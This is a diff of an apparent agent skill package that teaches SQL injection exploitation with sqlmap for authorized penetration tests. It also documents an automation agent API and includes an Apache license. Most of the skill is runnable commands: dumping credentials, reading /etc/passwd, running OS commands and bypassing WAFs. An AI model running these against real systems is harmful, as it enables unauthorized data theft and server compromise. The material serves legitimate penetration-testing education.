open-sploit 1.2.0

package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE

@@ -0,0 +1,201 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to the Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by the Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding any notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. Please do not remove or change
+      the license header comment from a contributed file except when
+      necessary.
+
+   Copyright 2026 mukul975
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md

@@ -0,0 +1,257 @@
+---
+name: exploiting-sql-injection-with-sqlmap
+description: Detecting and exploiting SQL injection vulnerabilities using sqlmap to
+  extract database contents during authorized penetration tests.
+domain: cybersecurity
+subdomain: web-application-security
+tags:
+- penetration-testing
+- sql-injection
+- sqlmap
+- owasp
+- database-security
+- web-security
+version: '1.0'
+author: mahipal
+license: Apache-2.0
+nist_csf:
+- PR.PS-01
+- ID.RA-01
+- PR.DS-10
+- DE.CM-01
+mitre_attack:
+- T1190
+- T1059.007
+- T1505.003
+- T1083
+- T1055
+---
+
+# Exploiting SQL Injection with sqlmap
+
+## When to Use
+
+- During authorized web application penetration testing engagements
+- When manual testing reveals potential SQL injection points in parameters, headers, or cookies
+- For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
+- When you need to demonstrate the impact of SQL injection by extracting data from backend databases
+- During CTF challenges involving SQL injection exploitation
+
+## Prerequisites
+
+- **Authorization**: Written penetration testing agreement (Rules of Engagement) for the target
+- **sqlmap**: Install via `pip install sqlmap` or `apt install sqlmap` on Kali Linux
+- **Python 3.6+**: Required runtime for sqlmap
+- **Burp Suite** (optional): For capturing and replaying HTTP requests
+- **Target access**: Network connectivity to the target web application
+- **Browser with proxy**: Firefox with FoxyProxy for intercepting requests
+
+## Workflow
+
+### Step 1: Identify Potential Injection Points
+
+Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.
+
+```bash
+# Start Burp Suite proxy and capture requests
+# Look for parameters in URLs, POST bodies, cookies, and headers
+# Example target URL with a suspected injectable parameter:
+# https://target.example.com/products?id=1
+
+# Test manually for basic SQL injection indicators
+curl -k "https://target.example.com/products?id=1'"
+# Look for SQL error messages like:
+# - "You have an error in your SQL syntax"
+# - "ORA-01756: quoted string not properly terminated"
+# - "Microsoft SQL Native Client error"
+```
+
+### Step 2: Run sqlmap Basic Detection Scan
+
+Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.
+
+```bash
+# Basic GET parameter test
+sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
+
+# For POST requests (save the request from Burp Suite to a file)
+sqlmap -r request.txt --batch --random-agent
+
+# Test specific parameter in a POST request
+sqlmap -u "https://target.example.com/login" \
+  --data="username=admin&password=test" \
+  -p "username" --batch --random-agent
+
+# Test with cookie-based injection
+sqlmap -u "https://target.example.com/dashboard" \
+  --cookie="session=abc123; user_id=5" \
+  -p "user_id" --batch --random-agent
+```
+
+### Step 3: Enumerate Database Structure
+
+Once injection is confirmed, enumerate databases, tables, and columns.
+
+```bash
+# List all databases
+sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
+
+# List tables in a specific database
+sqlmap -u "https://target.example.com/products?id=1" \
+  -D target_db --tables --batch --random-agent
+
+# List columns in a specific table
+sqlmap -u "https://target.example.com/products?id=1" \
+  -D target_db -T users --columns --batch --random-agent
+```
+
+### Step 4: Extract Data from Target Tables
+
+Dump the contents of sensitive tables to demonstrate impact.
+
+```bash
+# Dump specific columns from a table
+sqlmap -u "https://target.example.com/products?id=1" \
+  -D target_db -T users -C "username,password,email" \
+  --dump --batch --random-agent
+
+# Dump with row limit to avoid excessive data extraction
+sqlmap -u "https://target.example.com/products?id=1" \
+  -D target_db -T users --dump --start=1 --stop=10 \
+  --batch --random-agent
+
+# Attempt to crack password hashes automatically
+sqlmap -u "https://target.example.com/products?id=1" \
+  -D target_db -T users -C "username,password" \
+  --dump --batch --passwords --random-agent
+```
+
+### Step 5: Test for Advanced Exploitation Vectors
+
+Assess the full impact by testing OS-level access and file operations.
+
+```bash
+# Check current database user and privileges
+sqlmap -u "https://target.example.com/products?id=1" \
+  --current-user --current-db --is-dba --batch --random-agent
+
+# Attempt to read server files (if DBA privileges exist)
+sqlmap -u "https://target.example.com/products?id=1" \
+  --file-read="/etc/passwd" --batch --random-agent
+
+# Attempt OS command execution (MySQL with FILE privilege)
+sqlmap -u "https://target.example.com/products?id=1" \
+  --os-cmd="whoami" --batch --random-agent
+```
+
+### Step 6: Use Tamper Scripts to Bypass WAF/Filters
+
+When Web Application Firewalls or input filters block basic payloads, use tamper scripts.
+
+```bash
+# Common tamper scripts for WAF bypass
+sqlmap -u "https://target.example.com/products?id=1" \
+  --tamper="space2comment,between,randomcase" \
+  --batch --random-agent
+
+# For specific WAF bypass (e.g., ModSecurity)
+sqlmap -u "https://target.example.com/products?id=1" \
+  --tamper="modsecurityversioned,modsecurityzeroversioned" \
+  --batch --random-agent
+
+# List all available tamper scripts
+sqlmap --list-tampers
+```
+
+### Step 7: Generate Report and Clean Up
+
+Document findings and clean up any artifacts.
+
+```bash
+# sqlmap stores results in ~/.local/share/sqlmap/output/
+# Review the target output directory
+ls -la ~/.local/share/sqlmap/output/target.example.com/
+
+# Export results with specific output directory
+sqlmap -u "https://target.example.com/products?id=1" \
+  -D target_db -T users --dump \
+  --output-dir="/tmp/pentest-results" \
+  --batch --random-agent
+
+# Clean sqlmap session data after engagement
+sqlmap --purge
+```
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| **Union-based SQLi** | Uses UNION SELECT to append attacker query results to the original query output |
+| **Blind Boolean SQLi** | Infers data one bit at a time by observing true/false application responses |
+| **Blind Time-based SQLi** | Uses database sleep functions (e.g., `SLEEP(5)`) to infer data based on response delays |
+| **Error-based SQLi** | Extracts data through verbose database error messages returned in HTTP responses |
+| **Stacked Queries** | Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations |
+| **Out-of-band SQLi** | Exfiltrates data via DNS or HTTP requests initiated by the database server |
+| **Tamper Scripts** | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters |
+| **Second-order SQLi** | Injected payload is stored and executed later in a different query context |
+
+## Tools & Systems
+
+| Tool | Purpose |
+|------|---------|
+| **sqlmap** | Automated SQL injection detection and exploitation framework |
+| **Burp Suite Professional** | HTTP proxy for intercepting, modifying, and replaying requests |
+| **OWASP ZAP** | Free alternative to Burp for web application scanning and proxying |
+| **Havij** | Automated SQL injection tool with GUI (Windows) |
+| **jSQL Injection** | Java-based GUI tool for SQL injection testing |
+| **DBeaver/DataGrip** | Database clients for verifying extracted data structure |
+
+## Common Scenarios
+
+### Scenario 1: E-commerce Product Page SQLi
+A product detail page uses `id` parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.
+
+### Scenario 2: Login Form Bypass
+A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.
+
+### Scenario 3: Search Function with WAF Protection
+A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like `space2comment` and `between` to encode payloads and bypass the filter rules.
+
+### Scenario 4: Cookie-based Blind SQL Injection
+A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.
+
+## Output Format
+
+```
+## SQL Injection Finding
+
+**Vulnerability**: SQL Injection (Union-based)
+**Severity**: Critical (CVSS 9.8)
+**Location**: GET parameter `id` at /products?id=1
+**Database**: MySQL 8.0.32
+**Impact**: Full database read access, 15,000 user records exposed
+**OWASP Category**: A03:2021 - Injection
+
+### Evidence
+- Injection point: `id` parameter (GET)
+- Technique: UNION query-based
+- Backend DBMS: MySQL >= 5.0
+- Current user: app_user@localhost
+- DBA privileges: No
+
+### Databases Enumerated
+1. information_schema
+2. target_app_db
+3. mysql
+
+### Sensitive Data Exposed
+- Table: users (15,247 rows)
+- Columns: id, username, email, password_hash, created_at
+
+### Recommendation
+1. Use parameterized queries (prepared statements) for all database interactions
+2. Implement input validation with allowlists for expected data types
+3. Apply least-privilege database permissions for the application user
+4. Deploy a Web Application Firewall as defense-in-depth
+5. Enable database query logging and monitoring for anomalous patterns
+```

package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md

@@ -0,0 +1,74 @@
+# API Reference: sqlmap Automation Agent
+
+## Dependencies
+
+| Library | Version | Purpose |
+|---------|---------|---------|
+| sqlmap | >=1.7 | SQL injection detection and exploitation (subprocess) |
+
+## CLI Usage
+
+```bash
+# Detection scan
+python scripts/agent.py --url "https://target.com/page?id=1" --param id --action detect
+
+# Enumerate databases
+python scripts/agent.py --url "https://target.com/page?id=1" --action dbs
+
+# List tables
+python scripts/agent.py --url "https://target.com/page?id=1" --action tables --database target_db
+
+# Dump table rows
+python scripts/agent.py --url "https://target.com/page?id=1" --action dump \
+  --database target_db --table users
+
+# Check privileges
+python scripts/agent.py --url "https://target.com/page?id=1" --action privs
+```
+
+## Functions
+
+### `find_sqlmap() -> str`
+Searches common paths for the sqlmap binary.
+
+### `run_detection_scan(sqlmap_bin, url, param, request_file, cookie, tamper) -> dict`
+Runs `sqlmap --batch --random-agent` and parses output for injectability, DB type, and techniques.
+
+### `enumerate_databases(sqlmap_bin, url, param, cookie) -> list`
+Runs `sqlmap --dbs` and extracts database names from output.
+
+### `enumerate_tables(sqlmap_bin, url, database, param, cookie) -> list`
+Runs `sqlmap -D db --tables` and parses table names.
+
+### `dump_table(sqlmap_bin, url, database, table, columns, limit, param, cookie) -> dict`
+Runs `sqlmap -D db -T tbl --dump --start=1 --stop=N`.
+
+### `check_privileges(sqlmap_bin, url, param, cookie) -> dict`
+Runs `--current-user --current-db --is-dba` to assess DB privileges.
+
+## sqlmap Flags Used
+
+| Flag | Purpose |
+|------|---------|
+| `--batch` | Non-interactive mode |
+| `--random-agent` | Randomize User-Agent header |
+| `-p` | Specify injectable parameter |
+| `--tamper` | Apply WAF bypass tamper scripts |
+| `--dbs` | Enumerate databases |
+| `--tables` | Enumerate tables |
+| `--dump` | Extract table data |
+| `--is-dba` | Check DBA privileges |
+
+## Output Schema
+
+```json
+{
+  "action": "detect",
+  "url": "https://target.com/page?id=1",
+  "result": {
+    "injectable": true,
+    "database": "MySQL",
+    "techniques": ["boolean-based", "UNION query"]
+  }
+}
+```